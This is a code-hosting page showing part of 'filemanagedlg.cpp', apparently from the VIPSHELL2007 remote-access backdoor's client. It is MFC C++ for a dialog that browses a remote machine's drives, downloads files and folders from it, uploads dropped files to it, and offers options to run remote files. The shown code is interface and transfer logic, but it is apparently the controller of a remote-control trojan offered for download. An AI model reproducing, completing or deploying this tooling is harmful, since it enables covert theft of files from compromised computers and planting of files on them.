⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 filemanagedlg.cpp

📁 VIPSHELL2007客户端代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
		else if(DRIVE_FIXED == pRootData->dwType)
			dwType = _GetFileImg(L"__disk");
		else 
			dwType = _GetFileImg(L"__floppy");

		int nRet = m_listFile.InsertItem(nCount, pRootData->szName, dwType);
		m_filemanagediskvec.push_back(*pRootData);
		UINT32 nIntItem = m_filemanagediskvec.size() - 1;
		CString strDeskLen; strDeskLen.Format(L"%4.1f/%4.1fG", (DWORD) pRootData->ullcanusebyte / 1024 / 1024 / 1024 , (DWORD)pRootData->ulltotalspace / 1024 /1024/ 1024);
		m_listFile.SetItemText(nRet, 1, strDeskLen);	
		m_listFile.SetItemData(nRet, nIntItem);
	}
	

}
std::wstring CFileManageDlg::_GetFileName(UINT32 nIitem)
{
	UINT32 nItemDate = m_listFile.GetItemData(nIitem);

	if( m_strPath.length() == 0 )
		return m_filemanagediskvec[nItemDate].szName;
	else
	{
		if( nIitem != 0 )
		{
			if( IsDir( m_win32_find_datavecvec[nItemDate] ) )
				return m_strPath + m_win32_find_datavecvec[nItemDate].cFileName + L"\\";
			else
				return m_strPath;
		}
	}
	m_strPath = m_strPath.substr( 0, m_strPath.length() - 1 );
	int nFile = m_strPath.find_last_of(L"\\");
	if( nFile == - 1)
		return L"";
	std::wstring strRet  = m_strPath.substr(0, nFile + 1);
	return strRet.c_str();
}

void CFileManageDlg::OnOK() 
{
	// TODO: Add extra validation here
	CString strTest; GetDlgItemText(IDC_COMBO_TEXT, strTest);

	m_spVipShellClientFileManageHandle->GetPath(strTest);
//	CDialog::OnOK();
}

UINT32 CFileManageDlg::_GetSelItem()
{
	POSITION posti = m_listFile.GetFirstSelectedItemPosition();
	if(posti == NULL)
		return -1;
	UINT32 dwSel = m_listFile.GetNextSelectedItem(posti);
	return dwSel;
}

bool CFileManageDlg::GetRoot()
{
	m_strPath = L"";
	return m_spVipShellClientFileManageHandle->GetRoot();
}
bool CFileManageDlg::GetPath(LPCWSTR sz)
{
	m_strPath = sz;
	if( m_strPath.at( m_strPath.length()  - 1) != '\\' )
		m_strPath += L"\\";
	SetDlgItemText(IDC_COMBO_TEXT, m_strPath.c_str());
	return m_spVipShellClientFileManageHandle->GetPath(sz);
}
void CFileManageDlg::OnNMDblclkListFile(NMHDR *pNMHDR, LRESULT *pResult)
{
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	UINT32 nSel = _GetSelItem();
	if( nSel == - 1)
		return ;
	std::wstring strFile = _GetFileName(nSel);
	if( strFile == m_strPath )
		return ;
	if( strFile.length() == 0 )
	{
		GetRoot();
		return ;
	}
	GetPath(strFile.c_str());
}
BOOL CFileManageDlg::SelectSaveFilePath(CString& strPath)
{
	    strPath = _T("");
		TCHAR szDir[MAX_PATH];
		BROWSEINFO bi; 
		ITEMIDLIST *pidl; 

		bi.hwndOwner=NULL; 
		bi.pidlRoot=NULL; 
		bi.pszDisplayName=NULL; 
		bi.lpszTitle=_T("选择文件路径"); 
		bi.ulFlags=BIF_RETURNONLYFSDIRS ; 
		bi.lpfn=NULL; 
		bi.lParam=0; 
		bi.iImage=0; 

		pidl=SHBrowseForFolder(&bi);

		if(!SHGetPathFromIDList(pidl,szDir))
		{
			return FALSE;
		}
		if(szDir[lstrlen(szDir) - 1] != L'\\')
			lstrcat(szDir, L"\\");
		strPath = szDir;
		return TRUE;
}
void CFileManageDlg::OnMenuitemFilemanagedown() 
{
	// TODO: Add your command handler code here
	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	if( vec.size() == 0 )
		return ;

	CString strSavePath;
	if( !SelectSaveFilePath(strSavePath) )
		return ;

	m_copyvec.clear();
	for( UINT32 i = 0; i < vec.size(); i++)
	{
		CString strNew = strSavePath;
		UINT32 nItemDate = m_listFile.GetItemData(vec[i]);
		CString strRPath = m_strPath.c_str();
		strRPath +=  m_win32_find_datavecvec[nItemDate].cFileName;
		strNew +=  m_win32_find_datavecvec[nItemDate].cFileName;

		COPYITEM item;
		item.fIsDir = false;
		if ( IsDir( vec[i])  )
			item.fIsDir = true;
		item.strPath = strRPath;
		item.strNew = strNew;
		m_copyvec.push_back(item);
	}
	ThreadTemplate::StartThread<CFileManageDlg, int>(this, Thread);
	
//	CCopyFileDlg dlg;
//	dlg.DoModal();
		

/*	
	CCopyFileDlg dlg;
	dlg.SetVipShellClientFileManageHandle(m_spVipShellClientFileManageHandle);
	dlg.SetCopy(strRPath, strSavePath ,true, m_win32_find_datavecvec[nItemDate].nFileSizeLow );
	dlg.DoModal();
*/
}
void CFileManageDlg::OnGetFileIng(LPCWSTR szPath, LPCWSTR szPathNew, DWORD nSize, DWORD dwGetLen, DWORD dwStatrTime)
{
	CString strText, strP, strR;
	DWORD dwEndTime = GetTickCount();
	DWORD dwTime = dwEndTime - dwStatrTime;
	if(dwTime == 0)
		return ;
	DWORD dwDown = dwGetLen  / dwTime * 1000 ;
	DWORD dwRTime = (nSize - dwGetLen) / (dwGetLen  / dwTime)  / 1000;
	strText.Format(_T("已经下载:%s 速度:%s/秒"),
		 __MakeFileSizeString(dwGetLen), __MakeFileSizeString(dwDown));
	CString strCopyString ;
	strCopyString.Format(L"下载:%s\r\n文件大小:%s  剩余%s ", szPath,__MakeFileSizeString(nSize) , __MakeTimeString(dwRTime));
	m_WndCopy.SetDlgItemText(IDC_EDIT_COPY, strCopyString);
	m_WndCopy.SetDlgItemText(IDC_EDIT_STAT, strText);
}
void CFileManageDlg::OnPutFileIng(LPCWSTR szPath, LPCWSTR szPathNew, DWORD nSize, DWORD dwGetLen, DWORD dwStatrTime)
{
	CString strText, strP, strR;
	DWORD dwEndTime = GetTickCount();
	DWORD dwTime = dwEndTime - dwStatrTime;
	if(dwTime == 0)
		return ;
	DWORD dwDown = dwGetLen  / dwTime * 1000 ;
	DWORD dwRTime = (nSize - dwGetLen) / (dwGetLen  / dwTime)  / 1000;
	strText.Format(_T("已经上传:%s 速度:%s/秒"),
		 __MakeFileSizeString(dwGetLen), __MakeFileSizeString(dwDown));
	CString strCopyString ;
	strCopyString.Format(L"上传:%s\r\n文件大小:%s  剩余%s ", szPath,__MakeFileSizeString(nSize) , __MakeTimeString(dwRTime));
	m_WndCopy.SetDlgItemText(IDC_EDIT_COPY, strCopyString);
	m_WndCopy.SetDlgItemText(IDC_EDIT_STAT, strText);
}
int CFileManageDlg::Thread()
{
	m_WndCopy.ShowWindow( SW_SHOW );
	UINT32 i = 0;
	for( i = 0; i < m_copyvec.size(); i++)
	{
		if( m_copyvec[i].fIsDir )
			GetDir(m_spVipShellClientFileManageHandle, m_copyvec[i].strPath.c_str(), m_copyvec[i].strNew.c_str(), this);
		else
			GetFile(m_spVipShellClientFileManageHandle, m_copyvec[i].strPath.c_str(), m_copyvec[i].strNew.c_str(), this);
	}
	m_copyvec.clear();

	for( i = 0; i < m_putfilevec.size(); i++)
	{
		if( m_putfilevec[i].fIsDir )
			PutDir(m_spVipShellClientFileManageHandle, m_putfilevec[i].strPath.c_str(), m_putfilevec[i].strNew.c_str(), this);
		else
			PutFile(m_spVipShellClientFileManageHandle, m_putfilevec[i].strPath.c_str(), m_putfilevec[i].strNew.c_str(), this);
	}
	m_putfilevec.clear();
	m_WndCopy.ShowWindow( SW_HIDE );
	return 0;
}
void CFileManageDlg::_GetSelItems(SELITEMINDEXS* pVec)
{
	POSITION posti = m_listFile.GetFirstSelectedItemPosition();
	if(posti == NULL)
		return ;
	while (posti)
	{
		UINT32 nItem = m_listFile.GetNextSelectedItem(posti);
		pVec->push_back(nItem);
	}
}
 

void CFileManageDlg::OnRclickListFile(NMHDR* pNMHDR, LRESULT* pResult) 
{
	// TODO: Add your control notification handler code here
	
	*pResult = 0;

	CMenu menu;
	if (menu.LoadMenu(IDR_MENU_FILEMANAGE))
	{
		CMenu* pSubMenu = menu.GetSubMenu(0);
		if( m_ViewType == enumViewType_Root )
			return ;
		SELITEMINDEXS vec;
		_GetSelItems(&vec);
		if( vec.size() == 0 )
			return ;
		if( vec.size() != 1 || IsDir(vec[0]) )
		{
			menu.EnableMenuItem(ID_MENUITEM_FILEMANAGRUN, MF_BYCOMMAND | MF_ENABLED  |MF_GRAYED );
			menu.EnableMenuItem(ID_MENUITEM_FILEMANAGRUNLOCAL, MF_BYCOMMAND | MF_ENABLED  |MF_GRAYED );
		}
		if (pSubMenu) 
		{
			CPoint mouse;
			GetCursorPos(&mouse);
			::TrackPopupMenu(pSubMenu->m_hMenu, 0, mouse.x, mouse.y, 0,m_hWnd, NULL);
		}
	}

	
}

void CFileManageDlg::OnMenuitemUpfile() 
{
	// TODO: Add your command handler code here

}


void CFileManageDlg::OnDropFiles(HDROP hDropInfo)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
	CDialog::OnDropFiles(hDropInfo);

	if( m_ViewType == enumViewType_Root )
		return ;
	DWORD DropCount = DragQueryFile(hDropInfo, -1, NULL, 0);
	m_putfilevec.clear();
	for(DWORD i = 0; i < DropCount; i++)
	{
		TCHAR szName[MAX_PATH];
		DragQueryFile(hDropInfo, i, szName, MAX_PATH);

		COPYITEM item;
		CString strRPath = m_strPath.c_str();

		BOOL fDir = IsDir(szName);
		item.fIsDir  = !!fDir;
		item.strPath = szName;
		PathStripPath(szName);
		item.strNew =  m_strPath + szName;
		m_putfilevec.push_back(item);
	}
	ThreadTemplate::StartThread<CFileManageDlg, int>(this, Thread);
}

BOOL CFileManageDlg::PreTranslateMessage(MSG* pMsg) 
{
	// TODO: Add your specialized code here and/or call the base class
	if(pMsg->hwnd == m_listFile.GetSafeHwnd())
	{
		if(pMsg->message == WM_DROPFILES)
		{
			OnDropFiles((HDROP)pMsg->wParam);
		}
	}	
	return CDialog::PreTranslateMessage(pMsg);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -